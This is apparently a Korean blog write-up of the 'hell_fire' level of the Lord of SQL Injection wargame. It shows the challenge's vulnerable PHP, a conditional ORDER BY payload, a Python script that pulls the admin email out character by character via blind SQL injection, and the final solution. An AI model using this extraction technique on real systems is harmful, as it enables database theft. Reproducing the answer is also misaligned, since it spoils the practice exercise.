write-up/LOS write-up

LOS (Lord of SQL injection) 문제 23번 hell_fire write-up

정보보호학과 새내기 2021. 7. 12. 16:07
반응형
SMALL

문제 23번 hell_fire

 

query : select id,email,score from prob_hell_fire where 1 order by

<?php
  include "./config.php";
  login_chk();
  $db = dbconnect();
  if(preg_match('/prob|_|\.|proc|union/i', $_GET[order])) exit("No Hack ~_~");
  $query = "select id,email,score from prob_hell_fire where 1 order by {$_GET[order]}";
  echo "<table border=1><tr><th>id</th><th>email</th><th>score</th>";
  $rows = mysqli_query($db,$query);
  while(($result = mysqli_fetch_array($rows))){
    if($result['id'] == "admin") $result['email'] = "**************";
    echo "<tr><td>{$result[id]}</td><td>{$result[email]}</td><td>{$result[score]}</td></tr>";
  }
  echo "</table><hr>query : <strong>{$query}</strong><hr>";

  $_GET[email] = addslashes($_GET[email]);
  $query = "select email from prob_hell_fire where id='admin' and email='{$_GET[email]}'";
  $result = @mysqli_fetch_array(mysqli_query($db,$query));
  if(($result['email']) && ($result['email'] === $_GET['email'])) solve("hell_fire");
  highlight_file(__FILE__);
?>

일단 다른 문제들과 마찬가지로 php 코드가 주어져있다.

 

먼저 필터링 함수를 확인하면 prob와 _ , . , proc, union을 필터링하고 i를 통해 대소문자를 구별하지 않는 것을 확인할 수 있다. 또 쿼리를 보니 order에 값을 집어넣어 id, email, score을 출력시켜야한다는 것을 알 수 있다. order에 id를 집어넣어 보았더니 id가 admin과 rubiya가 출력되었다.

<?php
  if(preg_match('/prob|_|\.|proc|union/i', $_GET[order])) exit("No Hack ~_~");
  $query = "select id,email,score from prob_hell_fire where 1 order by {$_GET[order]}";
  echo "<table border=1><tr><th>id</th><th>email</th><th>score</th>";
  $rows = mysqli_query($db,$query);
  while(($result = mysqli_fetch_array($rows))){
    if($result['id'] == "admin") $result['email'] = "**************";
    echo "<tr><td>{$result[id]}</td><td>{$result[email]}</td><td>{$result[score]}</td></tr>";
  }
?>

order에 id를 집어넣었을 때 화면

 

또 clear 조건을 확인해보니 id가 admin인 email을 찾아야한다는 것을 알 수  있다. 다른 문제들 pw를 구했던 것처럼 파이썬 코드를 이용해 email을 구해야겠다.

<?php
  $_GET[email] = addslashes($_GET[email]);
  $query = "select email from prob_hell_fire where id='admin' and email='{$_GET[email]}'";
  $result = @mysqli_fetch_array(mysqli_query($db,$query));
  if(($result['email']) && ($result['email'] === $_GET['email'])) solve("hell_fire");
  highlight_file(__FILE__);
?>

 

위에 조건대로 order by 뒤에 넣는 값에 따라 admin과 rubiya가 나오는 순서가 다르기 때문에 그것을 이용하여 email을 구했다.

order=if(id='admin' and length(email)=0,1,9999)

1과 9999가 참이냐 거짓이냐에 따라 순서가 바뀌므로 이 값을 집어넣었다.

만약 조건이 참이면 order=1이 되어 admin이 먼저 나오고, 거짓이면 order=9999가 되어 rubiya가 먼저 나온다.

 

이를 이용하였더니 email의 길이가 28이라는 것을 알아냈다.

이를 이용하여 파이썬 코드를 작성했다.

import requests


url="https://los.rubiya.kr/chall/hell_fire_309d5f471fbdd4722d221835380bb805.php?"
cookie = dict(PHPSESSID="쿠키값")

result=""

for i in range(1,29):
    for j in range(33,138):
        query = "order=if((id='admin' and ord(substr(email,{},1))={}),1,9999)".format(i,j)
        URL = url+query
        res = requests.get(URL, cookies=cookie)
        if res.text.find("<td>200</td></tr><tr><td>rubiya</td>")>=0:
            result += chr(j)
            print(chr(j))
            break
print("email :"+result)

위 코드를 실행시키니 아래 결과가 나왔다.

email 찾는 코드 실행 결과

따라서 email=admin_secure_email@emai1.com을 입력해주면 된다.

 

solve

https://los.rubiya.kr/chall/hell_fire_309d5f471fbdd4722d221835380bb805.php?email=admin_secure_email@emai1.com

클리어 화면

반응형
LIST